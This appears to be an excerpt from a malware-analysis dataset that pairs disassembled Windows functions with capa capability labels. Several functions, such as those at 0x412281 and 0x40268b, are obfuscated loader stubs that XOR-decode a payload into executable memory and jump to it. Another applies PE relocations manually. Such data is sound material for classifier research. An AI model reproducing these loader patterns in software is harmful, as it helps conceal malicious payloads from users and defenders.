joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403525
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax], ebx
je 0x403575
mov edx, dword [eax + 4]
lea ecx, [eax + 8]
add edx, eax
mov dword [ebp + 8], ecx
cmp ecx, edx
jae 0x403570
mov ecx, dword [ebp + 8]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
cmp edx, 0x3000
jne 0x40355a
invalid
and ecx, 0xfff
mov edx, esi
sub edx, dword [edi + 0x34]
add ecx, esi
add ecx, dword [eax]
add dword [ecx], edx
jmp 0x403562
cmp edx, ebx
jne 0x4036b0
mov ecx, dword [eax + 4]
add dword [ebp + 8], 2
add ecx, eax
cmp dword [ebp + 8], ecx
jb 0x403531
add eax, dword [eax + 4]
jmp 0x40351e
mov dword [ebp + 0xc], ebx
jmp 0x403580
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x403598
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x4035b6
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x403614
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x4035fb
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x403604
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x40360e
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x4035f0
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x40357a
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x403661
dec eax
je 0x403658
sub eax, 3
je 0x40364f
mov dword [ebp - 4], 0x40
jmp 0x40367e
mov dword [ebp - 4], 4
jmp 0x403664
mov dword [ebp - 4], 0x20
jmp 0x403664
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x4036b0
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x403630
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.00402ec1
lea ebx, cs:[edi + 0x1475ff16]
push 1
push esi
call edi
mov eax, esi
jmp 0x4036bc
Function at 0x412281
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x412290
pop dword [ebp - 0x4c]
mov eax, 0x5b691ef
add eax, 0xfa8a90a1
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x3bb76
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0xba876419
sub ecx, 0xba87116b
mov edx, eax
mov edi, 0x77411f2e
add edi, 0x89024ed2
add edi, dword [ebp - 0x4c]
mov esi, 0x59abab6a
sub esi, 0xcafdc56c
mov dword [ebp - 0x30], 0x55037b27
mov ebx, dword [edi]
add dword [ebp - 0x2c], esi
xor ebx, esi
xor dword [ebp - 0x28], 0xfee56c6d
mov dword [edx], ebx
xor dword [ebp - 0x10], 0x32f711e8
add edx, 4
add edi, 0xfb1214dd
add edi, 0x4edeb27
loop 0x4122ea
add eax, 0x2facf42b
add eax, 0xd0544960
xor ebx, ebx
add ebx, eax
add eax, 0x34d84900
add eax, 0xcb27b705
mov ecx, 0xe5eb9dcf
sub ecx, 0xe5ab9dcf
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x18005ec8
Capabilities:
Print debug messages

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 8], 0
jne 0x18005f49
mov byte [esi + 8], 1
call fcn.180d57c5
cmp dword [esi + 0x10], 0
je 0x18005f49
test al, al
je 0x18005ee8
mov byte [esi + 0xa], 1
mov ecx, esi
call fcn.18006587
test al, al
jne 0x18005f0f
push dword [esi + 0xc]
push dword [esi + 0x1c]
push str.LOG_SYSTEM:___s_:_Could_not_acquire_logging_mutex__s_n
call fcn.1800b1a8
add esp, 0xc
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringW]
pop esi
ret
mov ecx, esi
call fcn.180d57c5
cmp dword [esi + 0x18], 0
jne 0x18005f36
push dword [esi + 0x14]
push dword [esi + 0x1c]
push str.LOG_SYSTEM:___s_:_Could_not_create_logging_file__s_n
call fcn.1800b1a8
add esp, 0xc
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringW]
cmp dword [esi + 0x10], 0
mov byte [esi + 9], 1
je 0x18005f49
push dword [esi + 0x10]
call dword [sym.imp.kernel32.dll_ReleaseMutex]
pop esi
ret

Function at 0x18006587
Capabilities:
Print debug messages

Disassembly:
push esi
mov esi, ecx
cmp dword [esi + 0x10], 0
jne 0x18006594
xor al, al
pop esi
ret
push 0x1f4
push dword [esi + 0x10]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
test eax, eax
je 0x180065cd
cmp eax, 0x80
je 0x180065cd
push dword [esi + 0xc]
push dword [esi + 0x1c]
push str.LOG_SYSTEM:___s_:_Could_not_acquire_logging_mutex__s_n
call fcn.1800b1a8
add esp, 0xc
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringW]
mov byte [esi + 9], 0
jmp 0x18006590
mov al, 1
pop esi
ret

Function at 0x18006f28
Capabilities:
Compare security identifiers

Disassembly:
push ebx
push esi
lea ebx, [ecx + 4]
push edi
mov edi, edx
test ebx, ebx
je 0x18006f5e
lea esi, [edi + 4]
test esi, esi
je 0x18006f5e
call fcn.180044de
test al, al
je 0x18006f5e
mov ecx, edi
call fcn.180044de
test al, al
je 0x18006f5e
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
setne al
jmp 0x18006f60
xor al, al
pop edi
pop esi
pop ebx
ret

Function at 0x18009251
Capabilities:
Check if file exists
Check mutex on windows

Disassembly:
push esi
push edi
push str.Global_MSIExecute
xor edi, edi
push edi
push 0x100000
call dword [sym.imp.kernel32.dll_OpenMutexW]
mov esi, eax
test esi, esi
jne 0x18009286
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 2
je 0x180092c7
test eax, eax
jle 0x180092b5
movzx edi, ax
or edi, 0x80070000
jmp 0x180092c7
push 0x493e0
push esi
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
test eax, eax
je 0x180092c0
cmp eax, 0x80
je 0x180092c0
cmp eax, 0x102
je 0x180092b9
cmp eax, 0xffffffff
je 0x180092b0
mov edi, 0x80004005
jmp 0x180092c7
call fcn.18012ae1
mov edi, eax
jmp 0x180092c7
mov edi, 0x800705b4
jmp 0x180092c7
push esi
call dword [sym.imp.kernel32.dll_ReleaseMutex]
test esi, esi
je 0x180092d2
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
ret
Function at 0x18012b1f
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebx
push edi
mov edi, ecx
push edi
call dword [sym.imp.kernel32.dll_lstrlenW]
push 0
mov ebx, eax
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x18012b8e
push esi
call dword [sym.imp.USER32.dll_EmptyClipboard]
lea ebx, [ebx*2 + 2]
push ebx
push 0x2002
call dword [sym.imp.kernel32.dll_GlobalAlloc]
mov esi, eax
push esi
call dword [sym.imp.kernel32.dll_GlobalLock]
test eax, eax
je 0x18012b6a
push ebx
push edi
push eax
call fcn.18140600
add esp, 0xc
push esi
call dword [sym.imp.kernel32.dll_GlobalUnlock]
push esi
push 0xd
call dword [sym.imp.USER32.dll_SetClipboardData]
test eax, eax
jne 0x18012b85
push esi
call dword [sym.imp.kernel32.dll_GlobalFree]
pop esi
pop edi
pop ebx
jmp dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop ebx
ret

Function at 0x1801cdca
Capabilities:
Check for time delay via gettickcount

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x1c]
and dword [esi + 0x1c], 0
test ecx, ecx
je 0x1801cdde
mov eax, dword [ecx]
push 1
call dword [eax]
push 0
lea ecx, [esi + 0x18]
call fcn.180d57c5
mov ecx, dword [0x181c07a8]
pop esi
mov ecx, dword [ecx]
jmp fcn.180160a0
Function at 0x1803186f
Capabilities:
Parse credit card information

Disassembly:
push ecx
push ebx
push esi
mov esi, ecx
xor cl, cl
mov eax, dword [esi + 0x4c]
cmp eax, 0xffffffff
je 0x180319c2
mov edx, 0x10000000
cmp eax, 0x7c
je 0x180319c2
cmp eax, 0x29
jne 0x180318a8
cmp dword [esi + 0x10], 0
jne 0x180319c2
test dword [esi + 0x50], edx
je 0x180319c8
cmp eax, 0x2e
jne 0x180318c3
push 5
lea ecx, [esi + 0x24]
call fcn.180d57c5
mov ecx, esi
call fcn.18031846
jmp 0x180319ac
cmp eax, 0x5c
jne 0x18031918
mov ecx, esi
call fcn.18031846
test byte [esi + 0x50], 0x80
je 0x1803190c
movzx eax, word [esi + 0x48]
cmp eax, 0x62
jne 0x180318f4
push 4
lea ecx, [esi + 0x24]
call fcn.180d57c5
mov ecx, esi
call fcn.18031846
jmp 0x180319b3
cmp eax, 0x42
jne 0x1803190c
push 4
lea ecx, [esi + 0x24]
call fcn.180d57c5
mov eax, dword [esi + 0x28]
xor dword [eax + 8], 1
jmp 0x180318e8
mov ecx, esi
call fcn.180325c9
jmp 0x180319ac
cmp eax, 0x5b
jne 0x18031938
mov ecx, esi
call fcn.18031846
mov ecx, esi
call fcn.1803257d
cmp dword [esi + 0x4c], 0x5d
je 0x180318b7
push 4
jmp 0x180319ca
cmp eax, 0x28
jne 0x18031955
mov ecx, esi
call fcn.18031846
mov ecx, esi
call fcn.180326a2
cmp dword [esi + 0x4c], 0x29
mov bl, al
jne 0x180319c8
jmp 0x180319a1
cmp eax, 0x5e
jne 0x1803195e
push 2
jmp 0x180318e0
cmp eax, 0x24
jne 0x1803196a
push 3
jmp 0x180318e0
cmp eax, 0x2a
je 0x180319be
cmp eax, 0x2b
je 0x180319be
cmp eax, 0x3f
je 0x180319be
cmp eax, 0x7b
je 0x180319be
cmp eax, 0x7d
jne 0x18031988
test dword [esi + 0x50], edx
je 0x180319ba
cmp eax, 0x5d
jne 0x18031992
test dword [esi + 0x50], edx
je 0x18031931
movzx eax, word [esi + 0x48]
lea ecx, [esi + 0x24]
push eax
call fcn.180d57c5
mov bl, 1
mov ecx, esi
call fcn.18031846
test bl, bl
je 0x180319b3
mov ecx, esi
call fcn.180d57c5
mov cl, 1
jmp 0x18031876
push 6
jmp 0x180319ca
push 0xa
jmp 0x180319ca
pop esi
mov al, cl
pop ebx
pop ecx
ret
push 5
call fcn.180d57c5
int3

Function at 0x1803da90
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
push 2
xor edi, edi
push edi
push dword [ecx]
call dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
je 0x1803dad3
push str.GOOGLEUPDATEAPPLICATIONCOMMANDS
push 1
push esi
call dword [sym.imp.kernel32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
je 0x1803dad3
push ebx
push esi
call dword [sym.imp.kernel32.dll_SizeofResource]
cmp eax, 4
jne 0x1803db01
push ebx
push esi
call dword [sym.imp.kernel32.dll_LoadResource]
test eax, eax
jne 0x1803daea
call dword [sym.imp.kernel32.dll_GetLastError]
mov edi, eax
test edi, edi
jle 0x1803db06
movzx edi, di
or edi, 0x80070000
jmp 0x1803db06
push eax
call dword [sym.imp.kernel32.dll_LockResource]
test eax, eax
jne 0x1803dafc
mov edi, 0x80070006
jmp 0x1803db06
cmp dword [eax], 1
je 0x1803db06
mov edi, 0x8000ffff
test esi, esi
je 0x1803db11
push esi
call dword [sym.imp.kernel32.dll_FreeLibrary]
mov eax, edi
pop edi
pop esi
pop ebx
ret
Function at 0x18081df3
Capabilities:
Inspect section memory permissions

Disassembly:
push ebx
push esi
mov esi, ecx
push edi
lea edi, [esi + 8]
mov ebx, dword [edi]
test bl, bl
je 0x18081e68
test bl, 1
je 0x18081e0e
lea ecx, [esi + 0x14]
call fcn.1804fc74
test bl, 2
je 0x18081e1b
mov ecx, dword [esi + 0x18]
call fcn.18056c8b
test bl, 4
je 0x18081e28
mov ecx, dword [esi + 0x1c]
call fcn.180d29b0
test bl, 8
je 0x18081e35
mov ecx, dword [esi + 0x20]
call fcn.180d57c5
test bl, 0x10
je 0x18081e42
mov ecx, dword [esi + 0x24]
call fcn.1805d433
test bl, 0x20
je 0x18081e4f
mov ecx, dword [esi + 0x28]
call fcn.1805d433
test bl, 0x40
je 0x18081e5c
mov ecx, dword [esi + 0x2c]
call fcn.180730e9
test bl, bl
jns 0x18081e68
mov ecx, dword [esi + 0x30]
call fcn.180d29b0
test ebx, 0xff00
je 0x18081ef4
test ebx, 0x100
je 0x18081e84
mov ecx, dword [esi + 0x34]
call fcn.1805581d
test ebx, 0x200
je 0x18081e94
mov ecx, dword [esi + 0x38]
call fcn.1807376b
test ebx, 0x400
je 0x18081ea4
mov ecx, dword [esi + 0x3c]
call fcn.18074298
test ebx, 0x800
je 0x18081eb4
mov ecx, dword [esi + 0x40]
call fcn.18074298
test ebx, 0x1000
je 0x18081ec4
mov ecx, dword [esi + 0x44]
call fcn.180d57c5
test ebx, 0x2000
je 0x18081ed4
mov ecx, dword [esi + 0x48]
call fcn.180551ff
test ebx, 0x4000
je 0x18081ee4
mov ecx, dword [esi + 0x4c]
call fcn.180551ff
test ebx, 0x8000
je 0x18081ef4
mov ecx, dword [esi + 0x50]
call fcn.180d29b0
test ebx, 0xff0000
je 0x18081f80
test ebx, 0x10000
je 0x18081f10
mov ecx, dword [esi + 0x54]
call fcn.180d29b0
test ebx, 0x20000
je 0x18081f20
mov ecx, dword [esi + 0x58]
call fcn.18076c08
test ebx, 0x40000
je 0x18081f30
mov ecx, dword [esi + 0x5c]
call fcn.180d29b0
test ebx, 0x80000
je 0x18081f40
mov ecx, dword [esi + 0x60]
call fcn.180d57c5
test ebx, 0x100000
je 0x18081f50
mov ecx, dword [esi + 0x64]
call fcn.1805581d
test ebx, 0x200000
je 0x18081f60
mov ecx, dword [esi + 0x68]
call fcn.180d29b0
test ebx, 0x400000
je 0x18081f70
mov ecx, dword [esi + 0x6c]
call fcn.180d29b0
test ebx, 0x800000
je 0x18081f80
mov ecx, dword [esi + 0x70]
call fcn.180d29b0
test ebx, 0xff000000
je 0x18082017
test ebx, 0x1000000
je 0x18081f9c
mov ecx, dword [esi + 0x74]
call fcn.18073ce6
test ebx, 0x2000000
je 0x18081fac
mov ecx, dword [esi + 0x78]
call fcn.180d29b0
test ebx, 0x4000000
je 0x18081fbc
mov ecx, dword [esi + 0x7c]
call fcn.1805d433
test ebx, 0x8000000
je 0x18081fcf
mov ecx, dword [esi + 0x80]
call fcn.1805ad79
test ebx, 0x10000000
je 0x18081fe2
mov ecx, dword [esi + 0x84]
call fcn.180770e7
test ebx, 0x20000000
je 0x18081ff5
mov ecx, dword [esi + 0x88]
call fcn.180d29b0
test ebx, 0x40000000
je 0x18082008
mov ecx, dword [esi + 0x8c]
call fcn.1807f075
test ebx, ebx
jns 0x18082017
mov ecx, dword [esi + 0x90]
call fcn.18056923
test byte [esi + 0xc], 1
je 0x18082028
mov ecx, dword [esi + 0x94]
call fcn.1807224e
push 8
push 0
push edi
call fcn.1813fd80
add esp, 0xc
lea ecx, [esi + 4]
test byte [ecx], 1
pop edi
pop esi
pop ebx
jne fcn.18087617
ret
Function at 0x180a2ae7
Capabilities:
Check mutex on windows

Disassembly:
push ebx
push esi
push edi
mov edi, ecx
xor ebx, ebx
push dword [edi + 4]
push ebx
push ebx
call dword [sym.imp.kernel32.dll_CreateMutexW]
mov esi, eax
mov eax, dword [edi + 8]
cmp eax, esi
je 0x180a2b12
test eax, eax
je 0x180a2b0d
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
mov dword [edi + 8], esi
mov eax, esi
test eax, eax
je 0x180a2b24
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0xb7
setne bl
pop edi
pop esi
mov al, bl
pop ebx
ret

Function at 0x180b4a3a
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x181ba008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push 0x200
lea eax, [ebp - 0x204]
push 0
push eax
call fcn.1813fd80
add esp, 0xc
mov dword [ebp - 0x20c], 0x100
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x204]
push eax
push 3
call dword [sym.imp.kernel32.dll_GetComputerNameExW]
xor ebx, ebx
inc ebx
test eax, eax
je 0x180b4aa1
push ebx
mov edx, str..google.com
lea ecx, [ebp - 0x204]
call fcn.180d57c5
pop ecx
test al, al
jne 0x180b4ae6
and dword [ebp - 0x208], 0
lea eax, [ebp - 0x208]
push esi
push eax
push 0x64
push 0
call dword [sym.imp.NETAPI32.dll_NetWkstaGetInfo]
mov esi, dword [ebp - 0x208]
test eax, eax
jne 0x180b4adc
cmp dword [esi + 8], eax
je 0x180b4adc
push str.google
push dword [esi + 8]
call fcn.180d57c5
pop ecx
pop ecx
test eax, eax
je 0x180b4ade
xor bl, bl
push esi
call dword [sym.imp.NETAPI32.dll_NetApiBufferFree]
pop esi
mov ecx, dword [ebp - 4]
mov al, bl
xor ecx, ebp
pop ebx
call fcn.1813d268
leave
ret

Function at 0x180b95eb
Capabilities:
Identify system language via api

Disassembly:
push ebx
mov ebx, ecx
push esi
test dl, dl
je 0x180b95fb
call dword [sym.imp.kernel32.dll_GetSystemDefaultLangID]
jmp 0x180b9601
call dword [sym.imp.kernel32.dll_GetUserDefaultLangID]
xor edx, edx
movzx esi, ax
mov ecx, 0x409
push edi
mov edi, edx
mov eax, ecx
cmp si, ax
je 0x180b9629
inc edi
imul eax, edi, 0x1a
movzx eax, word [eax + 0x1818d4f0]
test ax, ax
jne 0x180b9610
mov esi, ecx
jmp 0x180b962c
movzx esi, si
pop edi
cmp cx, si
je 0x180b9649
inc edx
imul eax, edx, 0x1a
movzx ecx, word [eax + 0x1818d4f0]
test cx, cx
jne 0x180b962d
mov eax, 0x18175bfc
jmp 0x180b9651
imul eax, edx, 0x1a
add eax, 0x1818d4f2
push eax
mov ecx, ebx
call fcn.180d57c5
pop esi
mov eax, ebx
pop ebx
ret
Function at 0x180c62b3
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
mov esi, ecx
lea ecx, [esi + 8]
mov eax, dword [ecx]
call dword [eax + 0xc]
test eax, eax
jg 0x180c616f
movzx ecx, byte [0x181c21ae]
neg ecx
sbb ecx, ecx
and ecx, 0x181c1480
je 0x180c614a
push 7
pop edx
xor eax, eax
mov dword [ebp - 0x10], ecx
inc eax
mov dword [ebp - 0xc], edx
push eax
push edx
mov dword [ebp - 8], eax
call fcn.180d57c5
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10]
push str._Google_Update_core_is_shutting_down..._
push eax
call fcn.180d57c5
pop ecx
pop ecx
push 0
push 0
push 0x12
push dword [esi + 0x4c]
call dword [sym.imp.USER32.dll_PostThreadMessageW]
test eax, eax
jne 0x180c616f
push 0x80004004
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
xor eax, eax
pop esi
leave
ret
push esi
mov esi, ecx
call fcn.180d57c5
mov ecx, esi
pop esi
test al, al
je 0x180c60f9
jmp fcn.180c62cb
Function at 0x180c7f14
Capabilities:
Check if file exists

Disassembly:
push ebx
mov ebx, esp
push ecx
push ecx
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x100
mov eax, dword [0x181ba008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebx + 8]
mov dword [ebp - 0xc8], ecx
mov ecx, dword [ebx + 0xc]
mov dword [ebp - 0xd4], ecx
mov ecx, dword [ebx + 0x10]
push esi
mov dword [ebp - 0xd8], ecx
xor ecx, ecx
push edi
mov dword [ebp - 0xcc], ecx
mov dword [ebp - 0x24], ecx
mov byte [ebp - 0x34], cl
mov dword [ebp - 0xf0], ecx
mov dword [ebp - 0xec], ecx
mov dword [ebp - 0xe8], ecx
lea ecx, [ebp - 0xfc]
push eax
mov dword [ebp - 0xd0], edx
mov dword [ebp - 0x20], 0xf
call fcn.180d57c5
push 0xc
call fcn.180d57c5
mov esi, eax
lea edi, [ebp - 0xfc]
pop ecx
mov dword [ebp - 0xe4], esi
lea ecx, [esi + 0xc]
mov dword [ebp - 0xdc], ecx
push edi
mov ecx, esi
call fcn.180d57c5
add edi, 0xc
lea eax, [ebp - 0xf0]
add esi, 0xc
cmp edi, eax
jne 0x180c7fae
mov edi, dword [ebp - 0xc8]
lea eax, [ebp - 0xbc]
push 3
lea ecx, [ebp - 0xc0]
mov dword [ebp - 0xe0], esi
mov dword [ebp - 0xc0], eax
push dword [edi]
call fcn.180d57c5
mov ecx, dword [ebp - 0xc0]
xor eax, eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0xf
mov byte [ebp - 0x1c], al
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x180c8005
sub ecx, edx
push ecx
push dword [ebp - 0xc0]
lea ecx, [ebp - 0x1c]
call fcn.180d57c5
mov edx, dword [ebp - 0xd0]
lea eax, [ebp - 0x34]
push ecx
push eax
lea eax, [ebp - 0xf0]
push eax
lea eax, [ebp - 0xe4]
push eax
lea ecx, [ebp - 0x1c]
call fcn.180d57c5
add esp, 0x10
lea ecx, [ebp - 0x1c]
test eax, eax
setne byte [ebp - 0xc1]
call fcn.1800dfeb
lea eax, [ebp - 0xbc]
cmp dword [ebp - 0xc0], eax
je 0x180c806c
push dword [ebp - 0xc0]
call fcn.18143ba6
pop ecx
lea ecx, [ebp - 0xe4]
call fcn.180d57c5
lea ecx, [ebp - 0xfc]
call fcn.1800b04e
lea ecx, [ebp - 0xf0]
call fcn.1800b04e
cmp byte [ebp - 0xc1], 0
je 0x180c80a2
mov dword [ebp - 0xcc], 0x80092009
jmp 0x180c811b
mov esi, dword [ebp - 0xd4]
mov ecx, edi
mov edx, esi
call fcn.180d57c5
test al, al
jne 0x180c80c1
mov dword [ebp - 0xcc], 0x8000ffff
jmp 0x180c811b
mov ecx, dword [esi]
sub ecx, 0x10
call fcn.18006ae9
add eax, 0x10
lea ecx, [ebp - 0xc8]
push str.GoogleUpdateSetup.exe
mov dword [ebp - 0xc8], eax
call fcn.180d57c5
mov esi, dword [ebp - 0xc8]
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x180c8101
mov dword [ebp - 0xcc], 0x80070002
jmp 0x180c8113
mov ecx, dword [ebp - 0xd8]
lea eax, [ebp - 0xc8]
push eax
call fcn.180d57c5
lea ecx, [esi - 0x10]
call fcn.180042a6
lea ecx, [ebp - 0x34]
call fcn.1800dfeb
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0xcc]
xor ecx, ebp
pop edi
pop esi
call fcn.1813d268
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x180d57c5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x180d57d4
pop dword [ebp - 0x14]
mov eax, 0xbf31814d
add eax, 0x58dbd687
sub dword [ebp - 0x14], eax
push 0x40
push 0x1000
push 0xc9575
push 0
mov eax, 0x9e2ab1fa
add eax, 0x79ebd23e
add eax, dword [ebp - 0x14]
call dword [eax]
mov ecx, 0x4be3
xor ebx, ebx
add ebx, eax
mov esi, 0x99e82f0e
sub esi, 0x81ca090e
add esi, dword [ebp - 0x14]
mov edi, 0xfef565e7
add dword [ebp - 0xc], 0x7a30faa9
mov edx, dword [esi]
xor dword [ebp - 8], ecx
xor edx, edi
sub dword [ebp - 0x10], 0x84cb6a17
mov dword [ebx], edx
add dword [ebp - 4], 0xa7c6eb1e
add ebx, 0xc509ebbf
add ebx, 0x3af61445
add esi, 0xf57ec9e
sub esi, 0xf57ec9a
loop 0x180d5829
add eax, 0xe88391ce
add eax, 0x177d9091
mov ebx, eax
add eax, 0x31818649
sub eax, 0x31818644
mov ecx, 0x2beb27c5
sub ecx, 0x13eb27c5
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x40268b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x40269a
pop dword [ebp - 0x30]
mov eax, 0xaa63f55f
sub eax, 0xaa23cec5
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0x290de007
sub dword [ebp - 0x40], 0xdabb9abc
mov dword [ebp - 0x3c], 0xdcd47d5d
add dword [ebp - 0x3c], 0x555ecee8
mov dword [ebp - 0x38], 0x6151fe9f
add dword [ebp - 0x38], 0xeafa458f
mov dword [ebp - 0x34], 0xb3eccb6
add dword [ebp - 0x34], 0xf4c1334a
lea eax, [ebp - 0x40]
push eax
mov eax, 0x44d1a52f
sub eax, 0x4491943b
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0xb72fcf32
sub dword [ebp - 0x40], 0x42bd65dc
mov dword [ebp - 0x3c], 0xfebb6612
sub dword [ebp - 0x3c], 0xbd4f049d
mov dword [ebp - 0x38], 0x3ca52714
add dword [ebp - 0x38], 0x26ca4558
mov dword [ebp - 0x34], 0x84c7b66f
sub dword [ebp - 0x34], 0x84c7b66f
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x3f085
push 0
call eax
mov ecx, 0x61ed
mov esi, eax
mov edx, 0xffc547d1
sub edx, 0xff8211d1
add edx, dword [ebp - 0x30]
mov ebx, 0x74e0271b
xor dword [ebp - 0xc], 0x67b7d73d
mov edi, dword [edx]
xor edi, ebx
xor dword [ebp - 0x1c], edi
mov dword [esi], edi
xor dword [ebp - 0x14], 0xe19c708d
add esi, 0x3a7eb4fd
add esi, 0xc5814b07
add edx, 0x496a9685
add edx, 0xb695697f
loop 0x4027ab
add eax, 0xcb1ef65a
sub eax, 0xcb1d7bd3
mov ebx, eax
add eax, 5
mov ecx, 0x8714b64c
sub ecx, 0x86d4b64c
add ecx, dword [ebp - 0x30]
call ebx
leave
ret